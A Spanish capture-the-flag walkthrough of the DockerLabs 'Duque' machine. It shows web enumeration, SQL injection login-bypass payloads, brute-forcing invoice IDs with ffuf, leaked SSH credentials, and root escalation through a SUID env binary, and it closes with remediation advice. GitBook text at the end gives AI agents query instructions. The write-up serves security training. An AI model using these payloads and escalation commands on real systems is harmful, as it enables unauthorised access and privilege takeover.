> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/duque.md).

# Duque

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux mediante enumeracion web, SQL Injection, fuerza bruta de identificadores y abuso de un binario SUID.

El objetivo es acceder al panel interno de facturacion, obtener credenciales validas y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sC -p- 172.17.0.2
```

![Nmap](/files/hqj8WEz2CjTS0mi3J0ur)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.52  |

Al acceder al servicio HTTP aparece la web corporativa de `NaturGas Solutions`.

![Web principal](/files/c5Bptq5ykMS9pnSuADTf)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60
```

![Gobuster](/files/q6RJni6vayfXKVEcnIEo)

Recursos interesantes encontrados:

| Recurso          | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.php`     | 200    | Pagina principal       |
| `/intranet/`     | 301    | Posible zona interna   |
| `/bills/`        | 301    | Sistema de facturacion |
| `/server-status` | 403    | Acceso prohibido       |

Al acceder a `/bills/` aparece un formulario de login.

![Login bills](/files/iB5dAlLBON7SGLb4rw3g)

***

## Bypass del login con SQL Injection

Se prueba un payload clasico de SQL Injection:

```
' OR 1=1-- -
```

Con ese payload se inicia sesion, pero se accede como un usuario sin privilegios suficientes para ver el area de facturacion.

![PHPSESSID](/files/EEs9U4V5oeBE1anPR4Um)

![Acceso denegado](/files/rOTOqGohsxkDzvauyrVb)

Se prueba otro payload para apuntar al usuario con id `3`:

```
' OR id=3 -- -
```

![SQLi admin](/files/9rZo5p6SMRzkv9CA5VA2)

Con este payload se consigue acceder como `admin`.

![Panel admin](/files/Se56fhgkJPHfX7JetyjI)

***

## Enumeracion de facturas

El panel permite buscar facturas por el parametro `id`:

```
/bills/panel.php?id=<ID>
```

Se genera un diccionario con el patron observado `xy[a-z][0-9][0-9][0-9]`:

```bash
python3 -c "import string; [print(f'xy{c}{n:03}') for c in string.ascii_lowercase for n in range(1000)]" > diccionario_xya.txt
```

![Diccionario](/files/BljjNWeoNqyMS1y91se1)

Se lanza `ffuf` usando la cookie de sesion del usuario admin:

```bash
ffuf -u "http://172.17.0.2/bills/panel.php?id=FUZZ" \
  -w diccionario_xya.txt \
  -H "Cookie: PHPSESSID=3us9avkmhl913nd3tnrob7ea5p" \
  -fs 5906 -r -t 50
```

![ffuf](/files/EgBIA3UF0wa5NleZDPTw)

El identificador valido encontrado es:

```
xyc724
```

Al consultarlo en el panel se muestra una factura con credenciales.

![Credenciales duque](/files/Czn9NK8ndViOS4aA5uKC)

Credenciales encontradas:

```
Usuario: duque
Password: duquelaje81029557!
```

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH:

```bash
ssh duque@172.17.0.2
```

Se obtiene una shell como el usuario `duque`.

***

## Escalada de privilegios

Primero se comprueban los permisos sudo:

```bash
sudo -l
```

El usuario `duque` no puede ejecutar comandos mediante sudo.

Despues se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/j1Nt7bicTwRDCUUtIUVj)

Entre los binarios aparece `/usr/bin/env` con permisos SUID. Segun GTFOBins, `env` permite ejecutar una shell manteniendo privilegios.

Se ejecuta:

```bash
/usr/bin/env /bin/sh -p
```

El flag `-p` conserva los privilegios efectivos del binario SUID.

![Root](/files/j1Nt7bicTwRDCUUtIUVj)

Se confirma el acceso:

```bash
id
```

Resultado:

```
uid=1000(duque) gid=1000(duque) euid=0(root) groups=1000(duque)
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Login vulnerable a SQL Injection
* Control de acceso debil en el panel de facturacion
* Identificadores de factura predecibles
* Credenciales expuestas en una factura interna
* Binario `/usr/bin/env` con permisos SUID

### Puntos clave

| Fase                | Tecnica             | Resultado                  |
| ------------------- | ------------------- | -------------------------- |
| Reconocimiento      | Nmap                | SSH y HTTP expuestos       |
| Enumeracion web     | Gobuster            | Descubrimiento de `/bills` |
| Explotacion web     | SQL Injection       | Acceso como `admin`        |
| Enumeracion interna | ffuf sobre `id`     | Factura `xyc724`           |
| Credenciales        | Lectura de factura  | Usuario `duque`            |
| Escalada            | SUID `/usr/bin/env` | Shell con `euid=0`         |

### Recomendaciones

* Usar consultas preparadas para evitar SQL Injection
* Aplicar controles de autorizacion robustos en cada recurso interno
* Evitar identificadores predecibles para datos sensibles
* No almacenar credenciales en facturas o documentos internos
* Revisar binarios SUID y eliminar permisos peligrosos en herramientas abusables


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/duque.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
